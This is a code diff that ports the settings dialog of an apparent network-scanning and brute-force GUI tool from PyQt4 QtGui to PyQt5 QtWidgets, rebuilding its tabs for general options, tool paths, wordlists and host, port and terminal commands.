self.typeDic.update({self.settings.portActions[i][1]:[QtWidgets.QLabel(),QtWidgets.QLineEdit(),QtWidgets.QCheckBox(),QtWidgets.QHBoxLayout()]}) for keyNum in range(len(self.settings.portActions)): @@ -605,13 +607,13 @@ def validateToolName(self): # called whe if row != -1: # LEO: when the first condition is True the validateUniqueToolName is never called (bad if we want to show a nice error message for the unique key) if not validateString(str(tmplineEdit.text())) or not self.validateUniqueToolName(tmpWidget, row, str(tmplineEdit.text())): tmplineEdit.setStyleSheet("border: 1px solid red;") - tmpWidget.setSelectionMode(QtGui.QAbstractItemView.NoSelection) + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) self.validationPassed = False print('the validation is: ' + str(self.validationPassed)) return self.validationPassed else: tmplineEdit.setStyleSheet("border: 1px solid grey;") - tmpWidget.setSelectionMode(QtGui.QAbstractItemView.SingleSelection) + tmpWidget.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection) self.validationPassed = True print('the validation is: ' + str(self.validationPassed)) if tmpWidget.item(row,0).text() != str(actions[row][1]): @@ -644,7 +646,7 @@ def addToolForHost(self): currentRows = self.toolForHostsTableWidget.rowCount() self.toolForHostsTableWidget.setRowCount(currentRows + 1) - self.toolForHostsTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) self.toolForHostsTableWidget.item(self.toolForHostsTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.hostActionsNumber)) self.toolForHostsTableWidget.selectRow(currentRows) self.settings.hostActions.append(['', 'New_Action_'+str(self.hostActionsNumber), '']) @@ -715,7 +717,7 @@ def addToolForService(self): if self.validateCommandTabs(self.portActionNameText, self.portLabelText, self.portCommandText): currentRows = self.toolForServiceTableWidget.rowCount() self.toolForServiceTableWidget.setRowCount(currentRows + 1) - self.toolForServiceTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) self.toolForServiceTableWidget.item(self.toolForServiceTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.portActionsNumber)) self.toolForServiceTableWidget.selectRow(currentRows) self.settings.portActions.append(['', 'New_Action_'+str(self.portActionsNumber), '']) @@ -767,7 +769,7 @@ def updateToolForServiceInformation(self, update = True): servicesList = tool[3].split(',') self.terminalServicesActiveTable.setRowCount(len(servicesList)) for i in range(len(servicesList)): - self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) else: self.toolForServiceTableWidget.selectRow(self.portTableRow) @@ -779,7 +781,7 @@ def addToolForTerminal(self): if self.validateCommandTabs(self.terminalActionNameText, self.terminalLabelText, self.terminalCommandText): currentRows = self.toolForTerminalTableWidget.rowCount() self.toolForTerminalTableWidget.setRowCount(currentRows + 1) - self.toolForTerminalTableWidget.setItem(currentRows, 0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.setItem(currentRows, 0, QtWidgets.QTableWidgetItem()) self.toolForTerminalTableWidget.item(self.toolForTerminalTableWidget.rowCount()-1, 0).setText('New_Action_'+str(self.terminalActionsNumber)) self.toolForTerminalTableWidget.selectRow(currentRows) self.settings.portTerminalActions.append(['', 'New_Action_'+str(self.terminalActionsNumber), '']) @@ -830,7 +832,7 @@ def updateToolForTerminalInformation(self, update = True): servicesList = tool[3].split(',') self.terminalServicesActiveTable.setRowCount(len(servicesList)) for i in range(len(servicesList)): - self.terminalServicesActiveTable.setItem(i, 0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.setItem(i, 0, QtWidgets.QTableWidgetItem()) self.terminalServicesActiveTable.item(i, 0).setText(str(servicesList[i])) else: self.toolForTerminalTableWidget.selectRow(self.terminalTableRow) @@ -854,7 +856,7 @@ def moveService(self, src, dst): # in the mul if src.selectionModel().selectedRows(): row = src.currentRow() dst.setRowCount(dst.rowCount() + 1) - dst.setItem(dst.rowCount() - 1, 0, QtGui.QTableWidgetItem()) + dst.setItem(dst.rowCount() - 1, 0, QtWidgets.QTableWidgetItem()) dst.item(dst.rowCount() - 1, 0).setText(str(src.item(row, 0).text())) src.removeRow(row) @@ -864,17 +866,17 @@ def setupLayout(self): self.setWindowTitle('Settings') self.setFixedSize(900, 500) - self.flayout = QtGui.QVBoxLayout() - self.settingsTabWidget = QtGui.QTabWidget() + self.flayout = QtWidgets.QVBoxLayout() + self.settingsTabWidget = QtWidgets.QTabWidget() self.settingsTabWidget.setTabBar(SettingsTabBarWidget(width=200,height=25)) - self.settingsTabWidget.setTabPosition(QtGui.QTabWidget.West) # put the tab titles on the left + self.settingsTabWidget.setTabPosition(QtWidgets.QTabWidget.West) # put the tab titles on the left # left tab menu items - self.GeneralSettingsTab = QtGui.QWidget() - self.BruteSettingsTab = QtGui.QWidget() - self.ToolSettingsTab = QtGui.QTabWidget() - self.WordlistsSettingsTab = QtGui.QTabWidget() - self.AutoAttacksSettingsTab = QtGui.QTabWidget() + self.GeneralSettingsTab = QtWidgets.QWidget() + self.BruteSettingsTab = QtWidgets.QWidget() + self.ToolSettingsTab = QtWidgets.QTabWidget() + self.WordlistsSettingsTab = QtWidgets.QTabWidget() + self.AutoAttacksSettingsTab = QtWidgets.QTabWidget() self.setupGeneralTab() self.setupBruteTab() @@ -891,7 +893,7 @@ def setupLayout(self): self.flayout.addWidget(self.settingsTabWidget) - self.horLayout1 = QtGui.QHBoxLayout() + self.horLayout1 = QtWidgets.QHBoxLayout() self.cancelButton = QPushButton('Cancel') self.cancelButton.setMaximumSize(60, 30) self.applyButton = QPushButton('Apply') @@ -905,68 +907,68 @@ def setupLayout(self): self.setLayout(self.flayout) def setupGeneralTab(self): - self.terminalLabel = QtGui.QLabel() + self.terminalLabel = QtWidgets.QLabel() self.terminalLabel.setText('Terminal') self.terminalLabel.setFixedWidth(150) - self.terminalComboBox = QtGui.QComboBox() + self.terminalComboBox = QtWidgets.QComboBox() self.terminalComboBox.setFixedWidth(150) self.terminalComboBox.setMinimumContentsLength(3) self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); self.terminalComboBox.setCurrentIndex(0) - self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1 = QtWidgets.QHBoxLayout() self.hlayout1.addWidget(self.terminalLabel) self.hlayout1.addWidget(self.terminalComboBox) self.hlayout1.addStretch() - self.label3 = QtGui.QLabel() + self.label3 = QtWidgets.QLabel() self.label3.setText('Maximum processes') self.label3.setFixedWidth(150) self.fastProcessesNumber = [] for i in range(1, 50): self.fastProcessesNumber.append(str(i)) - self.fastProcessesComboBox = QtGui.QComboBox() + self.fastProcessesComboBox = QtWidgets.QComboBox() self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) self.fastProcessesComboBox.setMinimumContentsLength(3) self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); self.fastProcessesComboBox.setCurrentIndex(19) self.fastProcessesComboBox.setFixedWidth(150) self.fastProcessesComboBox.setMaxVisibleItems(3) - self.hlayoutGeneral_4 = QtGui.QHBoxLayout() + self.hlayoutGeneral_4 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_4.addWidget(self.label3) self.hlayoutGeneral_4.addWidget(self.fastProcessesComboBox) self.hlayoutGeneral_4.addStretch() - self.label1 = QtGui.QLabel() + self.label1 = QtWidgets.QLabel() self.label1.setText('Screenshot timeout') self.label1.setFixedWidth(150) - self.screenshotTextinput = QtGui.QLineEdit() + self.screenshotTextinput = QtWidgets.QLineEdit() self.screenshotTextinput.setFixedWidth(150) - self.hlayoutGeneral_2 = QtGui.QHBoxLayout() + self.hlayoutGeneral_2 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_2.addWidget(self.label1) self.hlayoutGeneral_2.addWidget(self.screenshotTextinput) self.hlayoutGeneral_2.addStretch() - self.label2 = QtGui.QLabel() + self.label2 = QtWidgets.QLabel() self.label2.setText('Web services') self.label2.setFixedWidth(150) - self.webServicesTextinput = QtGui.QLineEdit() + self.webServicesTextinput = QtWidgets.QLineEdit() self.webServicesTextinput.setFixedWidth(350) - self.hlayoutGeneral_3 = QtGui.QHBoxLayout() + self.hlayoutGeneral_3 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_3.addWidget(self.label2) self.hlayoutGeneral_3.addWidget(self.webServicesTextinput) self.hlayoutGeneral_3.addStretch() - self.checkStoreClearPW = QtGui.QCheckBox() + self.checkStoreClearPW = QtWidgets.QCheckBox() self.checkStoreClearPW.setText('Store cleartext passwords on exit') - self.hlayoutGeneral_6 = QtGui.QHBoxLayout() + self.hlayoutGeneral_6 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_6.addWidget(self.checkStoreClearPW) - self.checkBlackBG = QtGui.QCheckBox() + self.checkBlackBG = QtWidgets.QCheckBox() self.checkBlackBG.setText('Use black backgrounds for tool output') - self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.checkBlackBG) - self.vlayoutGeneral = QtGui.QVBoxLayout(self.GeneralSettingsTab) + self.vlayoutGeneral = QtWidgets.QVBoxLayout(self.GeneralSettingsTab) self.vlayoutGeneral.addLayout(self.hlayout1) self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) @@ -978,50 +980,50 @@ def setupGeneralTab(self): self.vlayoutGeneral.addItem(self.generalSpacer) def setupBruteTab(self): - self.vlayoutBrute = QtGui.QVBoxLayout(self.BruteSettingsTab) + self.vlayoutBrute = QtWidgets.QVBoxLayout(self.BruteSettingsTab) - self.label5 = QtGui.QLabel() + self.label5 = QtWidgets.QLabel() self.label5.setText('Username lists path') self.label5.setFixedWidth(150) - self.userlistPath = QtGui.QLineEdit() + self.userlistPath = QtWidgets.QLineEdit() self.userlistPath.setFixedWidth(350) self.browseUsersListButton = QPushButton('Browse') self.browseUsersListButton.setMaximumSize(80, 30) - self.hlayoutGeneral_7 = QtGui.QHBoxLayout() + self.hlayoutGeneral_7 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_7.addWidget(self.label5) self.hlayoutGeneral_7.addWidget(self.userlistPath) self.hlayoutGeneral_7.addWidget(self.browseUsersListButton) self.hlayoutGeneral_7.addStretch() - self.label6 = QtGui.QLabel() + self.label6 = QtWidgets.QLabel() self.label6.setText('Password lists path') self.label6.setFixedWidth(150) - self.passwordlistPath = QtGui.QLineEdit() + self.passwordlistPath = QtWidgets.QLineEdit() self.passwordlistPath.setFixedWidth(350) self.browsePasswordsListButton = QPushButton('Browse') self.browsePasswordsListButton.setMaximumSize(80, 30) - self.hlayoutGeneral_8 = QtGui.QHBoxLayout() + self.hlayoutGeneral_8 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_8.addWidget(self.label6) self.hlayoutGeneral_8.addWidget(self.passwordlistPath) self.hlayoutGeneral_8.addWidget(self.browsePasswordsListButton) self.hlayoutGeneral_8.addStretch() - self.label7 = QtGui.QLabel() + self.label7 = QtWidgets.QLabel() self.label7.setText('Default username') self.label7.setFixedWidth(150) - self.defaultUserText = QtGui.QLineEdit() + self.defaultUserText = QtWidgets.QLineEdit() self.defaultUserText.setFixedWidth(125) - self.hlayoutGeneral_9 = QtGui.QHBoxLayout() + self.hlayoutGeneral_9 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_9.addWidget(self.label7) self.hlayoutGeneral_9.addWidget(self.defaultUserText) self.hlayoutGeneral_9.addStretch() - self.label8 = QtGui.QLabel() + self.label8 = QtWidgets.QLabel() self.label8.setText('Default password') self.label8.setFixedWidth(150) - self.defaultPassText = QtGui.QLineEdit() + self.defaultPassText = QtWidgets.QLineEdit() self.defaultPassText.setFixedWidth(125) - self.hlayoutGeneral_10 = QtGui.QHBoxLayout() + self.hlayoutGeneral_10 = QtWidgets.QHBoxLayout() self.hlayoutGeneral_10.addWidget(self.label8) self.hlayoutGeneral_10.addWidget(self.defaultPassText) self.hlayoutGeneral_10.addStretch() @@ -1034,15 +1036,15 @@ def setupBruteTab(self): self.vlayoutBrute.addItem(self.bruteSpacer) def setupToolsTab(self): - self.ToolPathsWidget = QtGui.QWidget() + self.ToolPathsWidget = QtWidgets.QWidget() self.ToolSettingsTab.addTab(self.ToolPathsWidget, "Tool Paths") - self.HostActionsWidget = QtGui.QWidget() + self.HostActionsWidget = QtWidgets.QWidget() self.ToolSettingsTab.addTab(self.HostActionsWidget, "Host Commands") - self.PortActionsWidget = QtGui.QWidget() + self.PortActionsWidget = QtWidgets.QWidget() self.ToolSettingsTab.addTab(self.PortActionsWidget, "Port Commands") - self.portTerminalActionsWidget = QtGui.QWidget() + self.portTerminalActionsWidget = QtWidgets.QWidget() self.ToolSettingsTab.addTab(self.portTerminalActionsWidget, "Terminal Commands") - self.StagedNmapWidget = QtGui.QWidget() + self.StagedNmapWidget = QtWidgets.QWidget() self.ToolSettingsTab.addTab(self.StagedNmapWidget, "Staged Nmap") self.setupToolPathsTab() @@ -1052,70 +1054,70 @@ def setupToolsTab(self): self.setupStagedNmapTab() def setupToolPathsTab(self): - self.nmapPathlabel = QtGui.QLabel() + self.nmapPathlabel = QtWidgets.QLabel() self.nmapPathlabel.setText('Nmap') self.nmapPathlabel.setFixedWidth(100) - self.nmapPathInput = QtGui.QLineEdit() - self.nmapPathHorLayout = QtGui.QHBoxLayout() + self.nmapPathInput = QtWidgets.QLineEdit() + self.nmapPathHorLayout = QtWidgets.QHBoxLayout() self.nmapPathHorLayout.addWidget(self.nmapPathlabel) self.nmapPathHorLayout.addWidget(self.nmapPathInput) self.nmapPathHorLayout.addStretch() - self.hydraPathlabel = QtGui.QLabel() + self.hydraPathlabel = QtWidgets.QLabel() self.hydraPathlabel.setText('Hydra') self.hydraPathlabel.setFixedWidth(100) - self.hydraPathInput = QtGui.QLineEdit() - self.hydraPathHorLayout = QtGui.QHBoxLayout() + self.hydraPathInput = QtWidgets.QLineEdit() + self.hydraPathHorLayout = QtWidgets.QHBoxLayout() self.hydraPathHorLayout.addWidget(self.hydraPathlabel) self.hydraPathHorLayout.addWidget(self.hydraPathInput) self.hydraPathHorLayout.addStretch() - self.cutycaptPathlabel = QtGui.QLabel() + self.cutycaptPathlabel = QtWidgets.QLabel() self.cutycaptPathlabel.setText('Cutycapt') self.cutycaptPathlabel.setFixedWidth(100) - self.cutycaptPathInput = QtGui.QLineEdit() - self.cutycaptPathHorLayout = QtGui.QHBoxLayout() + self.cutycaptPathInput = QtWidgets.QLineEdit() + self.cutycaptPathHorLayout = QtWidgets.QHBoxLayout() self.cutycaptPathHorLayout.addWidget(self.cutycaptPathlabel) self.cutycaptPathHorLayout.addWidget(self.cutycaptPathInput) self.cutycaptPathHorLayout.addStretch() - self.textEditorPathlabel = QtGui.QLabel() + self.textEditorPathlabel = QtWidgets.QLabel() self.textEditorPathlabel.setText('Text editor') self.textEditorPathlabel.setFixedWidth(100) - self.textEditorPathInput = QtGui.QLineEdit() - self.textEditorPathHorLayout = QtGui.QHBoxLayout() + self.textEditorPathInput = QtWidgets.QLineEdit() + self.textEditorPathHorLayout = QtWidgets.QHBoxLayout() self.textEditorPathHorLayout.addWidget(self.textEditorPathlabel) self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) self.textEditorPathHorLayout.addStretch() - self.toolsPathVerLayout = QtGui.QVBoxLayout() + self.toolsPathVerLayout = QtWidgets.QVBoxLayout() self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) self.toolsPathVerLayout.addLayout(self.textEditorPathHorLayout) self.toolsPathVerLayout.addStretch() - self.globToolsPathHorLayout = QtGui.QHBoxLayout(self.ToolPathsWidget) + self.globToolsPathHorLayout = QtWidgets.QHBoxLayout(self.ToolPathsWidget) self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) def setupHostCommandsTab(self): - self.toolForHostsTableWidget = QtGui.QTableWidget(self.HostActionsWidget) + self.toolForHostsTableWidget = QtWidgets.QTableWidget(self.HostActionsWidget) self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) self.toolForHostsTableWidget.setFixedWidth(180) self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only - self.toolForHostsTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.toolForHostsTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) self.toolForHostsTableWidget.setColumnCount(1) - self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.toolForHostsTableWidget.horizontalHeaderItem(0).setText("Name") self.toolForHostsTableWidget.horizontalHeader().resizeSection(0,200) self.toolForHostsTableWidget.horizontalHeader().setVisible(False) self.toolForHostsTableWidget.verticalHeader().setVisible(False) # row header - is hidden - self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.horLayoutPortActions = QtGui.QHBoxLayout() + self.horLayoutPortActions = QtWidgets.QHBoxLayout() self.removeToolForHostButton = QPushButton('Remove') self.removeToolForHostButton.setMaximumSize(90, 30) self.addToolForHostButton = QPushButton('Add') @@ -1123,43 +1125,43 @@ def setupHostCommandsTab(self): self.horLayoutPortActions.addWidget(self.addToolForHostButton) self.horLayoutPortActions.addWidget(self.removeToolForHostButton) - self.actionHost = QtGui.QLabel() + self.actionHost = QtWidgets.QLabel() self.actionHost.setText('Tools') - self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions = QtWidgets.QVBoxLayout() self.verLayoutPortActions.addWidget(self.actionHost) self.verLayoutPortActions.addWidget(self.toolForHostsTableWidget) self.verLayoutPortActions.addLayout(self.horLayoutPortActions) - self.verLayout1 = QtGui.QVBoxLayout() + self.verLayout1 = QtWidgets.QVBoxLayout() - self.horLayout4 = QtGui.QHBoxLayout() - self.label12 = QtGui.QLabel() + self.horLayout4 = QtWidgets.QHBoxLayout() + self.label12 = QtWidgets.QLabel() self.label12.setText('Tool') self.label12.setFixedWidth(70) - self.hostActionNameText = QtGui.QLineEdit() + self.hostActionNameText = QtWidgets.QLineEdit() self.horLayout4.addWidget(self.label12) self.horLayout4.addWidget(self.hostActionNameText) - self.label9 = QtGui.QLabel() + self.label9 = QtWidgets.QLabel() self.label9.setText('Label') self.label9.setFixedWidth(70) - self.hostLabelText = QtGui.QLineEdit() + self.hostLabelText = QtWidgets.QLineEdit() self.hostLabelText.setText(' ') self.hostLabelText.setReadOnly(True) - self.horLayout1 = QtGui.QHBoxLayout() + self.horLayout1 = QtWidgets.QHBoxLayout() self.horLayout1.addWidget(self.label9) self.horLayout1.addWidget(self.hostLabelText) - self.horLayout2 = QtGui.QHBoxLayout() - self.label10 = QtGui.QLabel() + self.horLayout2 = QtWidgets.QHBoxLayout() + self.label10 = QtWidgets.QLabel() self.label10.setText('Command') self.label10.setFixedWidth(70) - self.hostCommandText = QtGui.QLineEdit() + self.hostCommandText = QtWidgets.QLineEdit() self.hostCommandText.setText('init value') self.horLayout2.addWidget(self.label10) self.horLayout2.addWidget(self.hostCommandText) @@ -1172,7 +1174,7 @@ def setupHostCommandsTab(self): self.spacer1 = QSpacerItem(0,800) self.verLayout1.addItem(self.spacer1) - self.globLayoutPortActions = QtGui.QHBoxLayout(self.HostActionsWidget) + self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.HostActionsWidget) self.globLayoutPortActions.addLayout(self.verLayoutPortActions) self.spacer5 = QSpacerItem(10,0) self.globLayoutPortActions.addItem(self.spacer5) @@ -1181,24 +1183,24 @@ def setupHostCommandsTab(self): self.globLayoutPortActions.addItem(self.spacer2) def setupPortCommandsTab(self): - self.label11 = QtGui.QLabel() + self.label11 = QtWidgets.QLabel() self.label11.setText('Tools') - self.toolForServiceTableWidget = QtGui.QTableWidget(self.PortActionsWidget) + self.toolForServiceTableWidget = QtWidgets.QTableWidget(self.PortActionsWidget) self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) self.toolForServiceTableWidget.setFixedWidth(180) self.toolForServiceTableWidget.setShowGrid(False) - self.toolForServiceTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.toolForServiceTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # table headers self.toolForServiceTableWidget.setColumnCount(1) - self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.toolForServiceTableWidget.horizontalHeaderItem(0).setText("Name") self.toolForServiceTableWidget.horizontalHeader().resizeSection(0,200) self.toolForServiceTableWidget.horizontalHeader().setVisible(False) self.toolForServiceTableWidget.verticalHeader().setVisible(False) - self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.horLayoutPortActions = QtGui.QHBoxLayout() + self.horLayoutPortActions = QtWidgets.QHBoxLayout() self.addToolButton = QPushButton('Add') self.addToolButton.setMaximumSize(90, 30) self.removeToolButton = QPushButton('Remove') @@ -1206,63 +1208,63 @@ def setupPortCommandsTab(self): self.horLayoutPortActions.addWidget(self.addToolButton) self.horLayoutPortActions.addWidget(self.removeToolButton) - self.verLayoutPortActions = QtGui.QVBoxLayout() + self.verLayoutPortActions = QtWidgets.QVBoxLayout() self.verLayoutPortActions.addWidget(self.label11) self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) self.verLayoutPortActions.addLayout(self.horLayoutPortActions) - self.verLayout1 = QtGui.QVBoxLayout() + self.verLayout1 = QtWidgets.QVBoxLayout() # right side - self.horLayout4 = QtGui.QHBoxLayout() - self.label12 = QtGui.QLabel() + self.horLayout4 = QtWidgets.QHBoxLayout() + self.label12 = QtWidgets.QLabel() self.label12.setText('Tool') self.label12.setFixedWidth(70) - self.portActionNameText = QtGui.QLineEdit() + self.portActionNameText = QtWidgets.QLineEdit() self.horLayout4.addWidget(self.label12) self.horLayout4.addWidget(self.portActionNameText) - self.horLayout1 = QtGui.QHBoxLayout() - self.label9 = QtGui.QLabel() + self.horLayout1 = QtWidgets.QHBoxLayout() + self.label9 = QtWidgets.QLabel() self.label9.setText('Label') self.label9.setFixedWidth(70) - self.portLabelText = QtGui.QLineEdit() + self.portLabelText = QtWidgets.QLineEdit() self.portLabelText.setText(' ') self.portLabelText.setReadOnly(True) self.horLayout1.addWidget(self.label9) self.horLayout1.addWidget(self.portLabelText) - self.horLayout2 = QtGui.QHBoxLayout() - self.label10 = QtGui.QLabel() + self.horLayout2 = QtWidgets.QHBoxLayout() + self.label10 = QtWidgets.QLabel() self.label10.setText('Command') self.label10.setFixedWidth(70) - self.portCommandText = QtGui.QLineEdit() + self.portCommandText = QtWidgets.QLineEdit() self.portCommandText.setText('init value') self.horLayout2.addWidget(self.label10) self.horLayout2.addWidget(self.portCommandText) - self.servicesAllTableWidget = QtGui.QTableWidget() + self.servicesAllTableWidget = QtWidgets.QTableWidget() self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) self.servicesAllTableWidget.setMaximumSize(150, 300) self.servicesAllTableWidget.setColumnCount(1) self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) - self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.servicesAllTableWidget.horizontalHeaderItem(0).setText("Name") self.servicesAllTableWidget.horizontalHeader().setVisible(False) self.servicesAllTableWidget.setShowGrid(False) self.servicesAllTableWidget.verticalHeader().setVisible(False) - self.servicesActiveTableWidget = QtGui.QTableWidget() + self.servicesActiveTableWidget = QtWidgets.QTableWidget() self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) self.servicesActiveTableWidget.setMaximumSize(150, 300) self.servicesActiveTableWidget.setColumnCount(1) self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) - self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.servicesActiveTableWidget.horizontalHeaderItem(0).setText("Name") self.servicesActiveTableWidget.horizontalHeader().setVisible(False) self.servicesActiveTableWidget.setShowGrid(False) self.servicesActiveTableWidget.verticalHeader().setVisible(False) - self.verLayout2 = QtGui.QVBoxLayout() + self.verLayout2 = QtWidgets.QVBoxLayout() self.addServicesButton = QPushButton('-->') self.addServicesButton.setMaximumSize(30, 30) @@ -1275,7 +1277,7 @@ def setupPortCommandsTab(self): self.verLayout2.addWidget(self.removeServicesButton) self.verLayout2.addItem(self.spacer4) - self.horLayout3 = QtGui.QHBoxLayout() # space left of multiple choice widget + self.horLayout3 = QtWidgets.QHBoxLayout() # space left of multiple choice widget self.spacer3 = QSpacerItem(78,0) self.horLayout3.addItem(self.spacer3) self.horLayout3.addWidget(self.servicesAllTableWidget) @@ -1291,7 +1293,7 @@ def setupPortCommandsTab(self): self.spacer1 = QSpacerItem(0,50) # bottom right space self.verLayout1.addItem(self.spacer1) - self.globLayoutPortActions = QtGui.QHBoxLayout(self.PortActionsWidget) + self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.PortActionsWidget) self.globLayoutPortActions.addLayout(self.verLayoutPortActions) self.spacer5 = QSpacerItem(10,0) # space between left and right layouts @@ -1301,25 +1303,25 @@ def setupPortCommandsTab(self): self.globLayoutPortActions.addItem(self.spacer2) def setupTerminalCommandsTab(self): - self.actionTerminalLabel = QtGui.QLabel() + self.actionTerminalLabel = QtWidgets.QLabel() self.actionTerminalLabel.setText('Tools') - self.toolForTerminalTableWidget = QtGui.QTableWidget(self.portTerminalActionsWidget) + self.toolForTerminalTableWidget = QtWidgets.QTableWidget(self.portTerminalActionsWidget) self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) self.toolForTerminalTableWidget.setFixedWidth(180) self.toolForTerminalTableWidget.setShowGrid(False) # to make the cells of the table read only - self.toolForTerminalTableWidget.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # table headers self.toolForTerminalTableWidget.setColumnCount(1) - self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) self.toolForTerminalTableWidget.verticalHeader().setVisible(False) - self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.horLayout1 = QtGui.QHBoxLayout() + self.horLayout1 = QtWidgets.QHBoxLayout() self.addToolForTerminalButton = QPushButton('Add') self.addToolForTerminalButton.setMaximumSize(90, 30) self.removeToolForTerminalButton = QPushButton('Remove') @@ -1327,55 +1329,55 @@ def setupTerminalCommandsTab(self): self.horLayout1.addWidget(self.addToolForTerminalButton) self.horLayout1.addWidget(self.removeToolForTerminalButton) - self.verLayout1 = QtGui.QVBoxLayout() + self.verLayout1 = QtWidgets.QVBoxLayout() self.verLayout1.addWidget(self.actionTerminalLabel) self.verLayout1.addWidget(self.toolForTerminalTableWidget) self.verLayout1.addLayout(self.horLayout1) - self.horLayout2 = QtGui.QHBoxLayout() - self.actionNameTerminalLabel = QtGui.QLabel() + self.horLayout2 = QtWidgets.QHBoxLayout() + self.actionNameTerminalLabel = QtWidgets.QLabel() self.actionNameTerminalLabel.setText('Tool') self.actionNameTerminalLabel.setFixedWidth(70) - self.terminalActionNameText = QtGui.QLineEdit() + self.terminalActionNameText = QtWidgets.QLineEdit() self.horLayout2.addWidget(self.actionNameTerminalLabel) self.horLayout2.addWidget(self.terminalActionNameText) - self.horLayout3 = QtGui.QHBoxLayout() - self.labelTerminalLabel = QtGui.QLabel() + self.horLayout3 = QtWidgets.QHBoxLayout() + self.labelTerminalLabel = QtWidgets.QLabel() self.labelTerminalLabel.setText('Label') self.labelTerminalLabel.setFixedWidth(70) - self.terminalLabelText = QtGui.QLineEdit() + self.terminalLabelText = QtWidgets.QLineEdit() self.terminalLabelText.setText(' ') self.terminalLabelText.setReadOnly(True) self.horLayout3.addWidget(self.labelTerminalLabel) self.horLayout3.addWidget(self.terminalLabelText) - self.horLayout4 = QtGui.QHBoxLayout() - self.commandTerminalLabel = QtGui.QLabel() + self.horLayout4 = QtWidgets.QHBoxLayout() + self.commandTerminalLabel = QtWidgets.QLabel() self.commandTerminalLabel.setText('Command') self.commandTerminalLabel.setFixedWidth(70) - self.terminalCommandText = QtGui.QLineEdit() + self.terminalCommandText = QtWidgets.QLineEdit() self.terminalCommandText.setText('init value') self.horLayout4.addWidget(self.commandTerminalLabel) self.horLayout4.addWidget(self.terminalCommandText) - 